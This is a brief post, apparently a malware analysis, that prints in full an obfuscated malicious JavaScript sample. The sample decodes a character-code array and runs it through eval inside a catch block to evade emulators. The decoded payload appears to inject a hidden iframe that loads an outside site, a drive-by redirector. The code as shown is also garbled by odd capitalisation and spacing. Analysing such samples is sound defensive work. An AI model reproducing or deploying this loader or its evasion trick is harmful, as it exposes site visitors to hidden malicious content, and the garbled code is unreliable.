Interesting malicious script #2

This script has eval exposed, but simply replacing eval with alert won't show the malicious payload. In fact, only M [I] will be shown in the popup dialog.

And the eval is executed in the catch block, which shocould be able to defeat a lot of emulators, as emulators usually disable exception for performance issue.

<SCRIPT> VaR S = New String (); Try {Document. ASD. ASD} Catch (Q) {r = 1; C = string ;} If (R & document. createtextnode) u = 2; E = eval; M = [4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202 * u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218 * u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156 * u, 48.5 * u, 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186/u, 20.5 * u, 246/u, 4.5 * u, 18/u, 4.5 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 228/u, 20 * u, 82/ U, 29.5 * u, 18/u, 4.5 * u, 250/u, 16 * u, 202/u, 54 * u, 230/u, 50.5 * u, 64/u, 61.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 238/u, 57 * u, 210/u, 58 * u, 202/u, 20 * u, 68/u, 30 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 64/u, 57.5 * u, 228/u, 49.5 * u, 122/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 50 * u, 228/u, 49.5 * u, 234/u, 58 * u, 228/u, 48.5 * u, 224/u, 48.5 * u, 216/u, 52.5 * u, 230/u, 23 * u, 222/u, 57 * u, 206/u, 50.5 * u, 92/ U, 56 * u, 216/u, 23.5 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 92/u, 56 * u, 208/u, 56 * u, 126/u, 52.5 * u, 200 * u, 30.5 * u, 200/u, 26 * u, 204/u, 25.5 * u, 106/u, 51.5 * u, 240/u, 52.5 * u, 234/u, 54 * u, 200/u, 58 * u, 114/u, 51 * u, 100/u, 50.5 * u, 224/u, 61 * u, 102/u, 58.5 * u, 112/u, 53 * u, 104/u, 25.5 * u, 200/u, 28 * u, 214/u, 61 * u, 228/u, 50 * u, 112/u, 19.5 * u, 64/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 122/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 12 2/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 30.5 * u, 78/u, 59 * u, 210/u, 57.5 * u, 210/u, 49 * u, 210/u, 54 * u, 210/u, 58 * u, 242/u, 29 * u, 208/u, 52.5 * u, 200/u, 50 * u, 202/u, 55 * u, 118/u, 56 * u, 222/u, 57.5 * u, 210/u, 58 * u, 210/u, 55.5 * u, 220/u, 29 * u, 194/u, 49 * u, 230/u, 55.5 * u, 216/u, 58.5 * u, 232 * u, 50.5 * u, 118/u, 54 * u, 202/u, 51 * u, 232/u, 29 * u, 96/u, 29.5 * u, 232/u, 55.5 * u, 224/u, 29 * u, 96/u, 29.5 * u, 78/u, 31 * u, 120/u, 23.5 * u, 210/u, 51 * u, 228/u, 48. 5 * u, 218/u, 50.5 * u, 124/u, 17 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 4.5 * u, 18/u, 51 * u, 234/u, 55 * u, 198/u, 58 * u, 210/u, 55.5 * u, 220/u, 16 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218 * u, 50.5 * u, 228/u, 20 * u, 82/u, 61.5 * u, 18/u, 4.5 * u, 18/u, 59 * u, 194/u, 57 * u, 64/u, 51 * u, 64/u, 30.5 * u, 64/u, 50 * u, 222/u, 49.5 * u, 234 * u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 198/u, 57 * u, 202/u, 48.5 * u, 232 * u, 50.5 * u, 138/u, 54 * u, 202/u, 54.5 * u, 202/u, 55 * u, 232/u, 20 * u, 78/u, 52.5 * u, 204/u, 57 * u, 19 4/u, 54.5 * u, 202/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 230/u, 57 * u, 198/u, 19.5 * u, 88/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 50 * u, 228/u, 49.5 * u, 234/u, 58 * u, 228/u, 48.5 * u, 224/u, 48.5 * u, 216/u, 52.5 * u, 230/u, 23 * u, 222/u, 57 * u, 206/u, 50.5 * u, 92/u, 56 * u, 216/u, 23.5 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 92/u, 56 * u, 208/u, 56 * u, 126/u, 52.5 * u, 200/u, 30.5 * u, 200/u, 26 * u, 204/u, 25.5 * u, 106/u, 51.5 * u, 240/u, 52.5 * u, 234/u, 54 * u, 200/u, 58 * u, 114/u, 51 * u, 100/u, 50.5 * u, 224/u, 61 * u, 102/u, 58.5 * u, 112/u, 53 * u, 104/u, 25.5 * u, 200/u, 28 * u, 214/u, 61 * u, 228/u, 50 * u, 112/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52.5 * u, 230/u, 52.5 * u, 196/u, 52.5 * u, 216/u, 52.5 * u, 232/u, 60.5 * u, 122/u, 19.5 * u, 208/u, 52.5 * u, 200/u, 50 * u, 202/u, 55 * u, 78/u, 29.5 * u, 204/u, 23 * U, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 224/u, 55.5 * u, 230/u, 52.5 * u, 232/u, 52.5 * u, 222/u, 55 * u, 122/u, 19.5 * u, 194/u, 49 * u, 230/u, 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 216/u, 50.5 * u, 204/u, 58 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 232/u, 60.5 * u, 216/u, 50.5 * u, 92/u, 58 * u, 222/u, 56 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 202/u, 58 * u, 130/u, 58 * u, 232/u, 57 * u, 210/u, 49 * u, 234/u, 58 * u, 202/u, 20 * u, 78/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 78/u, 22 * u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232 * u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 78/u, 22 * u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u, 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186/u, 23 * u, 194/u, 56 * u, 224/u, 50.5 * u, 220/u, 50 * u, 134/u, 52 * u, 210/u, 54 * u, 200/u, 20 * u, 204/u, 20.5 * u, 118/u, 4.5 * u, 18/u, 62.5 * u]; with (c) Mm = fromcharcode; for (I = 0; i! = M. length; I ++) S + = mm (E ("M" + "[" + "I" + ']'); try {document. qwe. removechild ({})} catch (q) {e (s) ;}</SCRIPT>